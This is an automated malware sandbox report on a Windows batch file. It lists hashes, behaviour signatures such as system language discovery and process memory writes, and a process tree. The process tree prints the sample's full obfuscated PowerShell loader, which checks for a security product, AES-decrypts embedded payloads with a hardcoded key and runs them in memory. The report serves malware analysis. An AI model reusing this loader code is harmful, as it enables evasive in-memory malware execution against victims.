Analysis

  • max time kernel
    122s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    12-09-2024 19:55

General

  • Target

    JpNzLWAgHFMrAnon.bat

  • Size

    5.3MB

  • MD5

    19b5c87c0b9852349096678f5e282023

  • SHA1

    4cb1080f90f68b65c8ebab9c2e7a8286640b3ac0

  • SHA256

    163edbe86835ef07b9248ee9516b136be05d5b3fd60479bfa81e3375f44eacc9

  • SHA512

    82d4e435057de7e938c7cee8695bc1e258b2352ae885c68f26a679c91793b16c353cc8440e706f4687c49990d3b936788acb253983c671ef09b1bb46bf90a4e4

  • SSDEEP

    49152:Ik2uYNfkQHyggm5Xve+n8gJgxk5kWsqO+Cgs4e5NUZAICDucSsjHaz4Dl0vBKF:B

Score
3/10

Malware Config

Signatures

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\JpNzLWAgHFMrAnon.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1296
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\JpNzLWAgHFMrAnon.bat';$Fyln='SBaRNpliBaRNtBaRN'.Replace('BaRN', ''),'Invnedaonedakeneda'.Replace('neda', ''),'EboudnboudtboudryboudPboudoboudintboud'.Replace('boud', ''),'MaYSfCinMYSfCoYSfCdulYSfCeYSfC'.Replace('YSfC', ''),'LoadqVJddqVJ'.Replace('dqVJ', ''),'FgXzErgXzEogXzEmBgXzEagXzEsgXzEegXzE64SgXzEtgXzErigXzEnggXzE'.Replace('gXzE', ''),'CBCMXopBCMXyTBCMXoBCMX'.Replace('BCMX', ''),'ESmiJlSmiJeSmiJmenSmiJtAtSmiJ'.Replace('SmiJ', ''),'ChfjJLanfjJLgfjJLeExfjJLtfjJLenfjJLsifjJLonfjJL'.Replace('fjJL', ''),'GeyBtXtCyBtXuryBtXreyBtXntyBtXProyBtXceyBtXssyBtX'.Replace('yBtX', ''),'TrbTqfanbTqfsbTqfforbTqfmbTqfFinbTqfalbTqfBbTqflobTqfckbTqf'.Replace('bTqf', ''),'ReaACqRdACqRLiACqRneACqRsACqR'.Replace('ACqR', ''),'CredSdxadSdxtedSdxDedSdxcrdSdxypdSdxtdSdxordSdx'.Replace('dSdx', ''),'DCrPCeCrPCcomCrPCpreCrPCssCrPC'.Replace('CrPC', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($Fyln[9])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function NItLV($nzWJk){$DdoMy=[System.Security.Cryptography.Aes]::Create();$DdoMy.Mode=[System.Security.Cryptography.CipherMode]::CBC;$DdoMy.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$DdoMy.Key=[System.Convert]::($Fyln[5])('tRyGB5PdbiSqFo/ETUYwPoj7Pv8OlhuGCHsxSSDk/TM=');$DdoMy.IV=[System.Convert]::($Fyln[5])('zT33ctLvNUVazqPY5eMA9w==');$jTksN=$DdoMy.($Fyln[12])();$ttoWi=$jTksN.($Fyln[10])($nzWJk,0,$nzWJk.Length);$jTksN.Dispose();$DdoMy.Dispose();$ttoWi;}function EmQKv($nzWJk){$xudhB=New-Object System.IO.MemoryStream(,$nzWJk);$lXTBg=New-Object System.IO.MemoryStream;$MgRyv=New-Object System.IO.Compression.GZipStream($xudhB,[IO.Compression.CompressionMode]::($Fyln[13]));$MgRyv.($Fyln[6])($lXTBg);$MgRyv.Dispose();$xudhB.Dispose();$lXTBg.Dispose();$lXTBg.ToArray();}$pYQiu=[System.IO.File]::($Fyln[11])([Console]::Title);$mhlnF=EmQKv (NItLV ([Convert]::($Fyln[5])([System.Linq.Enumerable]::($Fyln[7])($pYQiu, 5).Substring(2))));$GMHtR=EmQKv (NItLV ([Convert]::($Fyln[5])([System.Linq.Enumerable]::($Fyln[7])($pYQiu, 6).Substring(2))));[System.Reflection.Assembly]::($Fyln[4])([byte[]]$GMHtR).($Fyln[2]).($Fyln[1])($null,$null);[System.Reflection.Assembly]::($Fyln[4])([byte[]]$mhlnF).($Fyln[2]).($Fyln[1])($null,$null); "
      2⤵
        PID:2972
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2412

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • memory/2412-2-0x0000000073EE1000-0x0000000073EE2000-memory.dmp

      Filesize

      4KB

    • memory/2412-3-0x0000000073EE0000-0x000000007448B000-memory.dmp

      Filesize

      5.7MB

    • memory/2412-4-0x0000000073EE0000-0x000000007448B000-memory.dmp

      Filesize

      5.7MB

    • memory/2412-5-0x0000000073EE0000-0x000000007448B000-memory.dmp

      Filesize

      5.7MB

    • memory/2412-6-0x0000000073EE0000-0x000000007448B000-memory.dmp

      Filesize

      5.7MB